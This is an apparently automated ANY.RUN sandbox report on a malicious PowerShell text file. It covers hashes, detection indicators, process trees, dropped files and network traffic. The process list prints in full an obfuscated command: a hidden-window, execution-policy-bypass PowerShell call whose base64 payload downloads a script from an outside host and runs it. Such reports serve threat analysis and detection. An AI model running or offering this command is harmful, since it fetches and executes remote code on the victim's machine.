Malware analysis powershell2.txt Malicious activity | ANY.RUN

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File name:	powershell2.txt
Full analysis:	https://app.any.run/tasks/403f7267-1669-4d80-aea0-048b7a922f55
Verdict:	Malicious activity
Analysis date:	April 29, 2025, 17:53:39
OS:	Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME:	text/plain
File info:	Unicode text, UTF-8 text, with no line terminators
MD5:	56D3446FFE35421F3DD5D847B8EE14BE
SHA1:	FD56ADC25DCF758E6F771954F1987656A9544A9C
SHA256:	009679C76A7A966C8FA723D127CDE5B25C5E6E3D96A14C1100FE3F5E4257A7E1
SSDEEP:	6:+PcrxsGUpfW+s5tqyFqgoRTktRBkch+nf9qgmksCMn:qcrOGUpk5tBORTknkc2fhyn

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Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: off
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- Bypass execution policy to execute commands
  - powershell.exe (PID: 4980)
SUSPICIOUS
- Starts POWERSHELL.EXE for commands execution
  - powershell.exe (PID: 1052)
- Base64-obfuscated command line is found
  - powershell.exe (PID: 1052)
- BASE64 encoded PowerShell command has been detected
  - powershell.exe (PID: 1052)
- Application launched itself
  - powershell.exe (PID: 1052)
INFO
- Reads security settings of Internet Explorer
  - notepad.exe (PID: 6068)
- Manual execution by a user
  - powershell.exe (PID: 1052)
- Script raised an exception (POWERSHELL)
  - powershell.exe (PID: 2240)
  - powershell.exe (PID: 4980)
- Checks current location (POWERSHELL)
  - powershell.exe (PID: 1052)
- Disables trace logs
  - powershell.exe (PID: 4980)
- Checks proxy server information
  - powershell.exe (PID: 4980)
- Reads the software policy settings
  - slui.exe (PID: 5936)

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Total processes

133

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

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Process information

PID

CMD

Path

Indicators

Parent process

1052

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Windows PowerShell

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

2096

C:\WINDOWS\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\SppExtComObj.Exe

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svchost.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

KMS Connection Broker

Version:

10.0.19041.3996 (WinBuild.160101.0800)

Modules

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c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll

2240

"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" —\w\ h —e\p\ by\p\as\s\ \/\e\ YwBkACAAfgA7ACAAaQB3AHIAIAAnAGUAagBDAEoAbwBYAC4AdQBwAGwAZAAuAHMAaQB0AGUALwB4ADEAMQAnACAALQBvAHUAdAAgACcALgBwAHMAMQAnADsAIAAmACAALgBcAC4AcABzADEAOwBkAEQAegBGAG4AWABhAEcAZwB4AGYA

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll

4980

"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" —w h —ep bypass /e YwBkACAAfgA7ACAAaQB3AHIAIAAnAGUAagBDAEoAbwBYAC4AdQBwAGwAZAAuAHMAaQB0AGUALwB4ADEAMQAnACAALQBvAHUAdAAgACcALgBwAHMAMQAnADsAIAAmACAALgBcAC4AcABzADEAOwBkAEQAegBGAG4AWABhAEcAZwB4AGYA

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\atl.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll

5640

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Console Window Host

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

5720

C:\WINDOWS\System32\slui.exe -Embedding

C:\Windows\System32\slui.exe

—

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Activation Client

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

5936

"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent

C:\Windows\System32\slui.exe

SppExtComObj.Exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows Activation Client

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

6068

"C:\WINDOWS\system32\NOTEPAD.EXE" C:\Users\admin\Desktop\powershell2.txt

C:\Windows\System32\notepad.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Notepad

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll

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Total events

15 738

Read events

15 738

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Dropped files

PID	Process	Filename		Type
1052	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HRG6ETNKSRJJE9TC12IN.temp		binary
		MD5:F0344099383E13A089BF202F31BACEF1	SHA256:D0CC9252DC5CCBAC12A36C1A9AA29258738C5A0F733601B408A60BDD58F7AED9
4980	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5yrn5orq.lle.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2240	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_sxiz1giq.pd3.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2240	powershell.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive		binary
		MD5:17B2D76E902FD2D58F8E7034BC75B5AE	SHA256:26276074F83657DE6F34635D57CE38BF4B9EF31CD23A9E0E247EF82CF46D7C4B
2240	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_z4i44eun.bit.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1052	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt		text
		MD5:25BBFB62850D4D6E68BAD80ACFB4065C	SHA256:B9B2225EB18A1A9156E25C3DEFB9D547906C7D2CDE673A1CB4490E462783CF33
4980	powershell.exe	C:\Users\admin\.ps1		text
		MD5:444BCB3A3FCF8389296C49467F27E1D6	SHA256:2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
4980	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lcrnsjf3.1zk.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4980	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vc0lgh01.bh3.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4980	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_b1btigan.eyc.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	200	23.216.77.17:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
—	—	GET	200	23.35.229.160:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
7012	SIHClient.exe	GET	200	95.101.149.131:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
6544	svchost.exe	GET	200	184.30.131.245:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
7012	SIHClient.exe	GET	200	95.101.149.131:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted
4980	powershell.exe	GET	200	104.21.36.183:80	http://ejcjox.upld.site/x11	unknown	—	—	unknown

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	51.124.78.146:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
—	—	23.216.77.17:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
—	—	23.35.229.160:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
3216	svchost.exe	172.211.123.249:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	FR	whitelisted
6544	svchost.exe	40.126.31.128:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
6544	svchost.exe	184.30.131.245:80	ocsp.digicert.com	AKAMAI-AS	US	whitelisted
2104	svchost.exe	51.124.78.146:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
4	System	192.168.100.255:137	—	—	—	whitelisted
7012	SIHClient.exe	4.245.163.56:443	slscr.update.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	US	whitelisted

DNS requests

Domain	IP	Reputation
google.com	142.250.184.238	whitelisted
settings-win.data.microsoft.com	51.124.78.146	whitelisted
crl.microsoft.com	23.216.77.17 23.216.77.27 23.216.77.25 23.216.77.19 23.216.77.20 23.216.77.23 23.216.77.22 23.216.77.21 23.216.77.28	whitelisted
www.microsoft.com	23.35.229.160 95.101.149.131	whitelisted
client.wns.windows.com	172.211.123.249	whitelisted
login.live.com	40.126.31.128 40.126.31.67 20.190.159.71 20.190.159.2 20.190.159.130 40.126.31.129 20.190.159.128 40.126.31.130	whitelisted
ocsp.digicert.com	184.30.131.245	whitelisted
slscr.update.microsoft.com	4.245.163.56	whitelisted
fe3cr.delivery.mp.microsoft.com	20.3.187.198	whitelisted
activation-v2.sls.microsoft.com	40.91.76.224	whitelisted

Threats

PID	Process	Class	Message
4980	powershell.exe	Not Suspicious Traffic	ET INFO Windows Powershell User-Agent Usage

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General Info

powershell2.txt

56D3446FFE35421F3DD5D847B8EE14BE

FD56ADC25DCF758E6F771954F1987656A9544A9C

009679C76A7A966C8FA723D127CDE5B25C5E6E3D96A14C1100FE3F5E4257A7E1

6:+PcrxsGUpfW+s5tqyFqgoRTktRBkch+nf9qgmksCMn:qcrOGUpk5tBORTknkc2fhyn

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MALICIOUS

Bypass execution policy to execute commands

SUSPICIOUS

Starts POWERSHELL.EXE for commands execution

Base64-obfuscated command line is found

BASE64 encoded PowerShell command has been detected

Application launched itself

INFO

Reads security settings of Internet Explorer

Manual execution by a user

Script raised an exception (POWERSHELL)

Checks current location (POWERSHELL)

Disables trace logs

Checks proxy server information

Reads the software policy settings

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